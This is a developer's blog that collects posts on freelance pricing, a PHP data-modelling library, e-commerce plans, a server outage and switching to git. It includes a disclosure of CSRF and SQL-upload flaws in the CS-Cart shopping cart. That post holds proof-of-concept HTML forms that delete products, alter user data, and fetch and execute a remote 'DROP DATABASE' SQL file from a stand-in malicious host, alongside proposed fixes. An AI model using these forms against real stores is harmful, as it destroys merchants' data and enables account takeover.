What's In The Box?

I do freelance work from time to time to pick up some extra money for my family. It’s generally not much, just small changes here and there on mostly existing websites. Rarely I write software from scratch for a client. I always get a surprised look when I explain how much I charge. I generally use my hourly rate to determine an overall cost for the project as well (if the project is very large, I’ll give an estimated project price). I’ll do my best to determine the number of hours I think it’ll take to complete it and multiply it by my hourly rate.

My last bid was for changing some functionality of an existing shopping cart built on Joomla and VirtueCart. I’m not familiar with either of those platforms (from a developers perspective, I’ve taken cursory glances at both), so doing the changes the client wanted was going to take longer. That learning experience will be passed on to the client. When doing freelance work, you should treat yourself as an individual corporation (and if you’re not incorporated, you should be). Corporations generally don’t do things for free, and you shouldn’t either.

I also build software correctly. Even if I’m just working alone, I try to maintain an agile approach. I write tests (this is definitely my weak spot, but I’m rapidly improving), I track bugs, I use source control. If you’re not doing these things, you’re not building software correctly. That work is time passed on to the client. If you, the client, wish for properly developed software, you will have to pay for it.

VirtueCart is horribly written. I can tell it’s horribly written just by glancing at it. I’ve been writing PHP for 10 years now, I know what crap PHP looks like quickly (conversely, I know what great PHP looks like quickly, and it’s very possible to write great PHP). The code [VirtueCart] is typical PHP garbage, very little coding standards, globals littered everywhere, no true object oriented design, etc. (Joomla has a test suite, and seems much better architected). There’s very little design that went into VirtueCart’s development, and it appears to be a horrible experience to work with. Having to work in that environment is going to cost the customer. Some refactoring will be required to make the software bearable, which will cost the client.

In the end, I lost the bid (fortunately). What was unfortunate was this was functionality the customer really wanted. This means they’ll approach a cheaper developer to get it completed. Hopefully, the developer maintains a high level of development standards, but it seems like in the web world, that just doesn’t happen often.

When I first started to learn about agile approaches and test driven development, the ideas sounded absurd: no client is going to pay for that! They throw a fit when it costs them even the slightest change. But that’s not how it works. If you wish to have properly developed software, you need to spend the money to get it. There is too much shit out there, and it’s only going to get worse unless developers become active, passionate, and involved in their craft. The client does not have to understand or know you’re writing unit tests, they simply need to know how much it will cost them.

Software development should not be a “thing I do for a living”. It should be your passion. If it’s not, please leave the industry and find something else to do. I charge what I do because software development is my passion, and not one I take lightly.

So, yes, that is what I charge, no, I’m not changing it: take it or leave it.

I’m having a blast working on DataModeler. So much, in fact, I don’t want to work on anything else!

The 0.0.2 tag was just released on GitHub and PearHub. DataModeler allows you to build your models decoupled from a data store. From there, you can add all of the business logic you like to each of them. When writing your tests, you can mock any data you need to send to them, and still have them execute as if they were tied to the data store.

The class DataObject is the base abstract class that handles creating the decoupled models. It must be extended, and the name of the extended class should be the table name the model will eventually use. You can override this if you wish. Let’s see what a simple Product may look like:

class Product extends DataObject {
}
 
$product = new Product();
$product->setPrice(1095)->setName('Sweet Salty Balls');
 
echo $product->getName(); /* 'Sweet Salty Balls' */
 
/* Changing the primary key, table, or adding all of the data at once is simple. */
$data = array(
  'price' => 1095,
  'name' => 'Sweet Salty Balls'
);
 
$product->table('data_products')
  ->pkey('data_product_id')
  ->model($data);
 
echo $product->getName(); /* 'Sweet Salty Balls' */
echo $product->table(); /* 'data_products' */

For each of the id(), children(), hasDate(), methodCache(), model(), pkey(), and table() methods, if no argument is passed, the current value of that class variable will be returned. If an argument is passed, the class variable will be set to that value. The reason these aren’t get*() and set*() methods is because a member of the object could very well be ‘table’ and thus, the automatically created getTable() would already exist and cause problems.

In your application, tying the Model to a data store is equally as simple. The DataModel class handles this for you. It is not abstract, so you can create it directly.

/* Assuming class Product and $product from above exist. */
 
/* First need to connect to a database, DataModeler uses PHP PDO for this. Deal with it. */
$db = new DataAdapterPdoMysql('hostname', 'database', 'username', 'password');
$db->connect();
 
$model = new DataModel($db);
 
/* Load the first matched record. Return it to $product. */
$matched_product = $model->where('product_id = ?', 1)->loadFirst($product);
echo $matched_product->getName() . PHP_EOL;
 
/* Load all matched products into an iterator. Each element of the iterator is a Product object. */
$iterator = $model->field('product_id', 'name', 'price')
  ->where('product_id != ?', 4)
  ->where('name != ?', 'Second Product')
  ->orderBy('name', 'DESC')
  ->groupBy('name')
  ->limit(2)
  ->loadAll($product);
 
foreach ( $iterator as $obj ) {
  echo $obj->getName() . PHP_EOL;
}

Tying this in to your tests is simple. Let’s say the Product class was updated to have some logic with setPrice():

class Product extends DataObject {
  public function setPrice($price) {
    $price = abs(intval($price));
    $this->__set('price', $price);
  }
}
 
/* And in your ProductTest.php file */
 
require_once 'PHPUnit/Framework.php';
require_once 'Product.php';
 
class ProductTest extends PHPUnit_Framework_TestCase {
 
  public function testProductPriceCantBeNegative() {
    $product = new Product();
    $product->setPrice(-2059);
 
    $this->assertGreaterThan(0, $product->getPrice());
  }
}

This is a fairly simplistic example, but as your business logic in your DataObject classes becomes more complex, you’re tests can mock the data ensuring the DataObject’s still return the same values.

As DataModeler matures, I’ll release more complex examples. The near future holds work on relationships between DataObject’s. Often, one table in a database is the “parent” of other tables (i.e., the other tables are useless without the parent table). For example, with simple products, the “product” table would the be the parent, and “product_price”, “product_image”, and “product_description” would all be children. Accessing these from the parent table is beneficial. It cuts down on the number of objects to manage, and allows you to access many children objects from a single parent object. More on that to come.

Please download the 0.0.2 tag of DataModeler from GitHub or PearHub and let me know how it works for you.

I’m beginning my foray into Test Driven Development with PHPUnit. When building web applications, the ActiveRecord pattern becomes very handy. Using my ActiveRecord class, a programmer can easily have their models map 1:1 to tables in the database.

While this is very easy to use, it’s not very good for writing unit tests. The reason being is the class is tightly coupled with the database. A unit test should use most basic data as possible, which means the data should be mocked, and not come from a database. You can write separate unit tests for the database management classes themselves, but the models should be abstracted away from the database.

I started working on a new project called DataModeler over the weekend. It can be found at GitHub and PearHub. Development will take place on GitHub, and official releases pushed to PearHub.

There are several different classes within the project. Essentially, one can create an Object class and a Model class. The Object class is for managing data about that Object. It lacks any dependencies. The Model class is for loading and saving the Object to a datastore.

class ProductObject extends DataObject {
}
 
class ProductModel extends DataModel {
}
 
$data_adapter = new DataAdapterPdoMysql(/* connection info */);
 
$product = new ProductObject();
$product->setName('name')->setPrice(1495);
 
$product_model = new ProductModel($data_adapter);
$product_model->save($product);
 
/* OR */
 
$product_model = new ProductModel($data_adapter);
 
/* Load up product #1 into $product (by reference) */
$product_model->load($product, 1);
 
$product->setName('a new name');
 
/* Update the product now. */
$product_model->save($product);

Thus, writing a test for the ProductObject class is simple. Any logic that takes place in that class is only for data loaded up for that object. In your test, you can simply mock the data and the ProductObject class will be none the wiser.

In addition to easy TDD, the DataModeler framework comes with a very nice iterator class for really managing data properly. It uses PHP PDO for the database layer, so you have that going for you too.

Be sure to watch the project on GitHub, and let me know of any ideas you have for it.

Several weeks ago, I wrote a post detailing a security vulnerability I found in a popular eCommerce shopping cart application. I alerted the developers, have heard nothing back, and am releasing this vulnerability report. I’ve given them nearly a month to respond.

The vulnerabilities exists in version 2.0.11 (and prior versions) of the popular shopping cart, CS-Cart. They include both Cross Site Request Forgery attacks and SQL Injection attacks.

Cross Site Request Forgery

A Cross Site Request Forgery (CSRF) attack takes place when malicious-site.com makes a request to good-site.com, and good-site.com allows it as the result of some escalation of privilege. good-site.com trusts malicious-site.com for some reason (although it shouldn’t), and thus requests that should only be allowed on good-site.com are allowed from malicious-site.com. Ironically, the CSRF attack is generally initiated by an actual trusted user of good-site.com, most likely without her knowledge.

If an administrator had CS-Cart installed on good-site.com, malicious-site.com could, with the proper authentication on good-site.com:

1. Delete Products
2. Delete Customers
3. Alter Passwords
4. Delete Orders
5. Alter Order Data
6. Many more things similar to Creating, Updating or Deleting of data.

This happens because:

• Many of these operations are allowed through a normal GET request, rather than a POST request.
• No tokens are used to further authenticate the session.
• Create, Update, and Delete request are allowed cross domain.
• Store owner’s can easily be Phished with an email to initiate the attack.

Luring the store owner into a CSRF attack is simple with a process called Phishing. Phishing occurs when an attacker mimics a trusted source (such as a new order confirmation email) and the administrator unknowingly clicks a malicious link. This can happen even easier when HTML emails are used because the link can point to one location and display another: <a href=”http://malicious-site.com“>http://good-site.com</a>. Phishing is particularly common in the banking industry, where an attacker will send out an email to a bank’s customers that mimics a real email from the bank. The customer clicks the link, goes to a site that looks similar to the banks website, enters their credentials, which are just sent to the attacker. This is one reason banks should not include links in their emails. Neither should shopping cart software. When an email is sent from the store to the administrator, it should contain no links. The administrator should have to manually type in the URL of the administration panel and log in manually. A small burden, but clearly much smaller than having your data stolen.

A simple form to duplicate this is shown. Replace the URL in the form code with your CS-Cart installation URL. If you have an authenticated administrator’s session, this will easily work.

<h3>Save Fake Data (this will change the billing city of user id #3) </h3>
<form method="post" action="http://good-site.com/admin.php">
	<input type="hidden" name="user_id" value="3" />
	<input type="hidden" name="selected_section" value="general" />
	<input type="hidden" name="dispatch[profiles.update.]" value="Save" />
	<input type="text" name="user_data[b_city]" value="" />
	<input type="submit" value="Save the Billing City" />
</form>

Or deleting a product.

<a href="http://good-site.com/admin.php?dispatch=products.delete&product_id=1">
  Click to delete this product
</a>
<br>
(Furthermore, this could be the src of an iframe and it would be
automatically loaded, and the product would be deleted)

SQL Injection

The next attack is called a SQL Injection attack, and occurs when a bit of malicious SQL is inserted and executed. This could have drastic consequences, as an attack can easily update the administrators login to allow the attacker to login, or could delete entire tables, or any other array of bad things. While the most common choice of SQL Injection is through a form, it can also occur in other places. From what I’ve seen, CS-Cart is adequately prepared to handle the first, more obvious choice of SQL Injection through a user submitted form.

Unfortunately, the developers left open a huge vulnerability. CS-Cart has the ability to backup your database from the Administration Panel. Additionally, you can upload an existing backup, either from your local computer, or from another domain. Because the upload form submission is not validated any further, one can simply create a form that automatically submits when visiting a malicious site (through an iframe), and another form that executes the uploaded SQL file through another iframe. In this case, the attacker does not have to get creative in how he structures the SQL Injection attack; he can simply make a SQL file that drops a database (the default database name is cart), or one that deletes all of the tables (there are 200+ tables, so the SQL file could easily contain 200 lines, each of DROP TABLE `cscart_table_name` and the database would be effectively dropped).

The solution to this is clear.

Do not allow database backups through the administration panel. Period, end of story. While it’s possible to defend against, it’s a bad idea to allow remote or local uploads of SQL files. Any competent store owner should have an administrator handle the backups themselves. Furthermore, while CS-Cart claims PCI Compliance, this failed point #11.

A simple form can upload a SQL file after an authenticated administrator’s session is created. Again, replace the fake URL with your CS-Cart installation URL.

<h3>Upload a SQL File</h3>
<div>
  (This will copy the file from
  <a href="http://malicious-site.com/bad-data.sql">
    http://malicious-site.com/bad-data.sql
  </a> to the server. Note that the file is hosted on another domain.)
</div>
<form enctype="multipart/form-data" method="post" action="http://good-site.com/admin.php">
	<input type="hidden" name="fake" value="1" />
	<input type="hidden" name="selected_section" value="restore" />
	<input type="hidden" name="dispatch[database.upload]" value="Upload" />
	<input type="hidden" name="file_sql_dump[0]" value="http://malicious-site.com/bad-data.sql" />
	<input type="hidden" name="type_sql_dump[0]" value="url" />
	<input type="submit" value="Upload Remote File" />
</form>

The bad-data.sql file is small because I know the name of the database, however, it could easily contain the names of all tables.

DROP DATABASE `cs-cart`;

Executing the uploaded bad-data.sql file is equally as simple.

<h3>Execute Uploaded SQL File</h3>
<form method="post" action="http://good-site.com/admin.php">
	<input type="hidden" name="dispatch[database.restore]" value="Restore" />
	<input type="hidden" name="backup_files[]" value="bad-data.sql" />
	<input type="submit" value="Execute Remote File" />
</form>

In addition to this, if one were to find the structure of the backed up file names from CS-Cart (such as $database-$date.sql), executing an existing file would be just as easy.

Solutions

Fortunately, fixing these problems is fairly simple. If the software is designed properly, updating them should be a globally performed initiative. Here’s how.

1. Create two SHA1 hashes and one salt. One hash (the private-hash) and the salt are stored securely in the session (known to no one other than the computer) and one hash (the public-hash) is submitted with each form. Furthermore, the SHA1 hash of secure-hash = sha1(private-hash + salt + public-hash) is stored in the session (also unknown to anyone). On each form submission, the hash submitted with the form (public-hash) is validated with the private-hash and salt to determine the secure-hash. If the calculated-secure-hash does not equal the secure-hash, then kill the session immediately and redirect to a login form.
2. Only allow Create, Update, and Delete actions through POST requests. Being able to click a link to duplicate (a Create action) a product, or a link to Delete a product is nice, but insecure. You must be sure to include the public-hash with each link. Instead, submit them through a POST request.
3. From #2, the reason you want to use a POST request is to create a Same Domain Policy. Only requests coming from the originating domain (in the Administration Panel) are allowed. Thus, malicious-site.com can not POST a request to good-site.com. If you must have this operation, create an API and only give permission to whitelisted domains.
4. Do not include links in any store communication between the software and the administrator or customer. Phishing is also possible on the customer’s end. If the shopping cart stores credit cards (an option for CS-Cart), a customer could be phished and her credit cards stolen.
5. When installing the software, have the administrator create a secure PIN, similar to the PIN on your debit card. This can be a 4-6 digit number. On all communication between the shopping cart and the administrator, the PIN will appear in either the Subject or Body of the email. If the PIN is not present, the email should be considered malicious and deleted. The PIN is known only to the administrator and should be changed every 30 days.

Preventing these attacks takes both a technological approach and a social approach. These attacks are equal parts social engineering (Phishing) and technological mistakes (SQL Injection/CSRF). Unfortunately, CS-Cart does not have a good security history.

While I am not a security expert, I did discover these attacks fairly easily. Please notify the CS-Cart developers so they can be patched as soon as possible.

Conclusion

One may argue that the chances of these being executed are slim. While these attacks do rely on chance, social, and technological engineering, they are entirely possible. Please take the time to audit your software and the software of others.

Update

BigCommerce contacted me directly and made things right. Thats all I wanted. Apparently something went wrong with my registration process or whatever and my site was suspended. Everything is up now and they’ve made it right. I have a tendency to over-react with things, and perhaps this was an over-reaction, but to all small business owners, you don’t know how frustrating it is when one of your sources of income is down without much help.

At any rate, BigCommerce, thank you for getting back to me, you have a great product that I’ll be using for a long time.

I removed the post here so Google doesn’t pick it up, if you really want to know what happened, email me.

Thanks, BigCommerce for getting this righted.

I love eCommerce software and development. I think it gives a great combination of different types of development for programmers: secure applications, database management, web programming, account management, API access and development, and much more.

My small software company is currently building a new shopping cart. I’m not too thrilled with some of the other offerings out there, and I want to create a viable competitor to most of them. Finding most used features is difficult, however. If you run an eCommerce website and have used some type of software (either on a managerial level or as a developer), I’d love to hear your feedback on essential things a complete eCommerce package needs.

Several of my highest ranked items are:

• Security, security, and more security. It’s pitiful how poor software that handles money is with security, but as we’ve seen before, plenty of high profile eCommerce shopping carts have security vulnerabilities in them. Thus, maintaining a secure environment is my number one item.
• Easily promote products. Allow store administrators to highlight products on certain pages, have custom product information pages/templates, and allow admin’s to create an inviting home page/landing page(s) for customers. The ability to have cross-sells is an old technology, and newer technology needs to be developed to show customers products they are actually interested in. Amazon has come close to perfecting this, but it isn’t possible yet for smaller vendors.
• Manages returns effortlessly. Stores should follow the Zappo’s model of returns and allow the customer to return an item as easily as possible. Customers hate having to return items, and are less likely to purchase from your store again if they can’t handle returns.
• Checkout process that doesn’t get in the way. The new way for checking out is to use a single page with AJAX requests to handle moving between each section. This is nice, but needs improvement. The vertical accordion style is unsmooth and jarring. The checkout process should also not get in the way of account registration. Users should be able to register at any point during the checkout, and still check the status of their order if they chose not to create an actual account on the website.
• Easy product management. Handling complex products, like products with attributes (think clothes, a shirt has colors and sizes, combinations of these can cause other values of the shirt, such as the price, warehouse location, or SKU, to change) is a problem. It’s difficult to program, and hard for site owners to manage effectively. Products should easily be able to be imported so migrating from one store to another is easy. Having a common product document definition would be nice.
• Warehouse connectivity. Whether you store your products in your own warehouse, dropship them, or purchase them from a warehouse at time of purchase on your site, managing physical products and their quantities on the site is a hassle. Having real time inventory feeds is necessary to alleviate the hassle. Getting warehouse’s to either bring their API’s up to date or getting an API in the first place may be the biggest hurdle.

Those are just a few of the newer problems that I think need to be solved in the next few years with eCommerce development. I plan on doing the best I can to help solve some of them, as I really enjoy this type of development.

Please share what you think should be added to, deleted from, or modified on this list.

Aside from the usual resolutions everyone sets for the new year, I have several programming goals that I want to set. Hitting these goals may be difficult (especially with a baby son on the way), but I’ll do my best to achieve them.

Learn Python Fluently

I’m currently interviewing for a job with Mozilla. I’ve been a fan of the Mozilla project since around 1999, and working there would be an absolute dream. I would be working on the web development and Internet services section, not the browser. With the recent announcement of moving http://addons.mozilla.org (known as AMO) from CakePHP to Python, I would need to learn Python for my potential new job. In addition to having to learn it, I’ve heard incredibly good things about it, and its time I learn a new language as well as I know PHP.

Make Artisan System a Viable Competitor in the PHP Framework World

Artisan System is a competent framework already, but its not in the stages of completeness I want. The SDK needs to be finalized, it needs to have PHP5.3 support (or rather, the ability to take advantage of PHP5.3 features). And I want to make it a valid competitor for Cake, CodeIgniter, Zend, Symphony, etc. Now that it’s moved to Git and GitHub, I feel like development will speed up even faster. I will set small milestones to accomplish along the way to ensure I meet this goal.

Finish the Shopping Cart Software I’m Writing

I’m in the process of writing two eCommerce Shopping carts. I’ve been very dissatisfied with the other Open/Shared/Closed Source offerings, so its time for me to write my own. I’ve started two of them, IonCart and another unnamed one for an entirely different platform. I will finish both of them this year.

Write More

The final goal I have is to write more. I enjoy writing this blog, and I have a lot of ideas I’d like to share. I’ll be openly developing most of the software I’m developing, and I’ll use this blog as the way to do that.

I hope that 2010 is a great year for you. I know mine will be, both in my personal and professional lives. I find making lists like this, setting explicit goals that you can quantify, help me reach them better. Happy New Years!

As a programmer who loves most aspects of eCommerce, I’m constantly evaluating different shopping carts (both open, shared, and closed source) to see where I can keep Dallas Shooting Supplies up and running the best.

Originally, Dallas Shooting Supplies was built on an old version of Artisan Cart, my first shopping cart software. It was somewhat limited, but it worked and helped launch my small side business. When we had the site redesigned, I figured it was time to move to a new platform.

I had gotten used to Wordpress and enjoyed it as a publishing system, so when I saw there was an eCommerce plugin for it, Shopp, I was excited. I was reluctant to purchase Shopp at first, but for $55 + $25 for the Authorize.net plugin, I didn’t have much to lose, I thought.

Shopp turned out to be a tremendous disappointment. So much so that when I went to make the site live, it failed entirely. I finally found the bug in their system, patched it, and told them about it. Shopp is horrible. Don’t buy it, don’t use it. The code is deplorable, the database is very poorly set up (do not store serialized data, use proper table normalization instead).

Looking to move away from Shopp, I visited http://www.practicalecommerce.com which gives reviews of eCommerce solutions, and has a directory of shopping cart software to use. Browsing through the directory, I found a cart that seemed very complete.

It was commercial, meaning it wasn’t free, but offered a 60 day trial. I could download the software, use it on my server, and if I wanted to purchase it after 60 days, I could. This is the correct way to do commercial web software that is self hosted. It gives me an opportunity to view the source code to ensure there exists an obvious coding standard, and the code is efficient. Both seemed true. Great, I thought I finally had found an eCommerce solution that wasn’t bloated, had tons of features, and wasn’t Magento or osCommerce.

However, I wanted to perform a security analysis before I was going to re-move all of Dallas Shooting Supplies to a new platform. I did the usual test of a basic XSS (Cross Site Scripting) attack. It appeared the shopping cart was using a home grown framework (which isn’t a bad thing), and that all of the vectors I checked seemed to not be vulnerable. http://ha.ckers.org/xss.html is a great resource to learn about potential XSS vulnerability vectors. Generally, in an eCommerce application, a naive approach to filtering all HTML/CSS/JavaScript is fine.

Next were the Cross Site Request Forgery (CSRF) attack checks. This is where the cart failed, and failed miserably. After logging into the admin panel, I could easily have a form on a separate domain (site) post data to an admin form and have the data saved. For example, I could easily change the administrators username and password, or update all users to have the same password so one could login as them and steal their info. However, being able to manipulate the administrators username and password was obviously the most nefarious use of this vulnerability.

Furthermore, one was able to manipulate data through basic GET requests. I could easily delete a product by calling a URL with the product ID. Scripting this would be trivial, and before they knew it, a site admin would have unknowingly destroyed their entire shopping cart.

The final check was the SQL Injection attack and this software failed miserably on this, but not in the typical sense. The forms were protected from the typical attack of attempting to escape out of the SQL string to execute arbitrary SQL. Again, because the cart was using a homegrown framework, all of the queries were routed through a common DB interface, which handled properly escaping the SQL query.

This cart provides an interface in the admin to backup and restore SQL snapshots of the database. This is great for backups, but horrible for security. The utility will let you download the SQL snapshots, as well as upload them. However, they can be uploaded from a cross domain. For example, you can upload the SQL file from http://example.com/database.sql and execute it. Hopefully, you can see where this is going. Through the CSRF attack, I simply made a SQL file with `DROP DATABASE db_name` as the entire contents. I uploaded this to a separate site and through a form, was able to upload the file to the site with the shopping cart software. Executing it involved another request to the shopping cart software, with the name of the file as a hidden form variable and another hidden form variable to define the action, executing the SQL file.

Of course, its improbable to know the name of the database. However, the names of the tables are generally the same amongst installations, so the SQL file could be extended to simply drop all of the tables in the database (the shopping cart software selects the proper database to begin with).

I’ve alerted the developers of the vulnerabilities, provided them a writeup of how to execute them, and even provided a test environment for them to execute the vulnerabilities. I told them they had 2 weeks to alert their customers and fix the vulnerabilities. After that time, I’ll disclose the name of the shopping cart software along with how to execute the vulnerabilities.

Even the largest of websites are not impervious to vulnerabilities, but it is possible to diminish the chance of a vulnerability affecting your site by following basic security procedures.

Over the weekend, the website I built, www.prospectvista.com suffered some downtime. Going to the website showed a general error because its a live site, and you should not have in-depth error reporting turned on a live site.

Initially, I thought it was the result of accidentally updating the software that powers the site and broke something. I checked the revision in Subversion (and the version according to our versioning system), and everything checked out all right.

Running a simple `free -m` showed there was plenty of memory available, and swap was being used fine, so that wasn’t it.

Next, I restarted apache, figuring something had gone wrong and that would solve it. It didn’t. Apache restarted, but I was getting the same error.

Determining I couldn’t break the site any worse, I turned on error reporting and went to the site. “A valid database connection could not be created.”

Simple, `sudo /etc/init.d/mysql restart`

[fail]

Well, damn.

I then checked the MySQL logs. Nothing. Same with the Apache logs, nothing that could give me a specific idea of what was happening.

However, in addition to the [fail] restarting the MySQL daemon gave me, I also got this error:

“/etc/init.d/mysql: ERROR: The partition with /var/lib/mysql is too full!”

Ah hah!

Running a `sudo df -h` showed that /dev/sda1/ was 100% full. There are only two areas that a lot of data is stored on the system: the actual site itself that stores the videos and photos, and the backups. The site content itself was pretty small. I went to the local backup directory and there were tons of outdated backups that were no longer needed. Note: I do remote backups for ProspectVista as well.

I deleted about 80% of the outdated backups and the drive usage dropped to 13%.

Perfect.

Now I have a small shell script that checks the disk usage once a day and emails me if it is 80% or above. I suppose I could also update the backup scripts to delete old backups, much like my Amazon S3 Backup Program does.

Subversion, you’ve been great. Awesome I’d say, but its time to move on. I was first introduced to Subversion in 2006 when I started working for New Media Gateway. I had heard of CVS, of course, but never had a Linux server set up to really use it. Plus, on most projects, it was just me working, so I really didn’t need any source control (note: this is not a good thing, you should be using source control even if you’re the only developer on a project).

So I begin working at NMG and they’re using Subversion. It’s just what I used. It seemed to work fine, and since one of the other programmers managed merges and releases, all I had to do was update my working copy and check stuff in. I wrote hook scripts, and everything worked great.

Then, I was introduced to git by Zach, and boy did I love to rip on it. Decentralized version control, but look, you have to centralize it somewhere, like GitHub, right!? One day, GitHub was down and we had a good laugh. But Zach started using it for a new project he was working on.

When I moved to New Legend Media, it was natural that I introduced Subversion as the source control system to the company. It was all I knew, it was stable, and it had very competent Windows tools for designers. Together, with another developer there, we set up a Subversion server and through a few rough patches, we started using it. I became very comfortable with it. I learned branching, and merging, release management, and general sever maintenance. He raved at how well it handled branching, merging, releases, bug fixes, and all of the other features of a DVCS. I scoffed at them, and said I’ll stick with my Subversion. The 1.5 series was stable, had automatic branch management built in for easy merges, and I had all of my code in there.

But in the back of my mind, I knew I needed to learn how to use git, but I was reluctant. I’m not exactly sure why, but I just felt like Subversion was great for me. Eventually, I just broke down and asked Zach to show me git. He guided me through setting up my .gitconfig file so I could have my nice Subversion aliases and colored output, to setting up a GitHub account, and finally how to branch and merge. Git was amazing. So one by one, I started moving all of my projects to my GitHub account.

And thats where I stand today. I’ll always have a soft spot in my heart for Subversion, but for starting a new project, Git just can’t be matched.

cd /path/to/svn/repos/
sudo svnadmin create /path/to/svn/repos/reponame
sudo chown apache:apache reponame -R
sudo chmod 700 reponame -R

vim File.php
# hacky hackity hack
git init
git remote add github git@github.com:leftnode/New-Project.git
git push github master

Goodbye Subversion, it really sounds like goodbye to an old friend, but I’m really excited about git!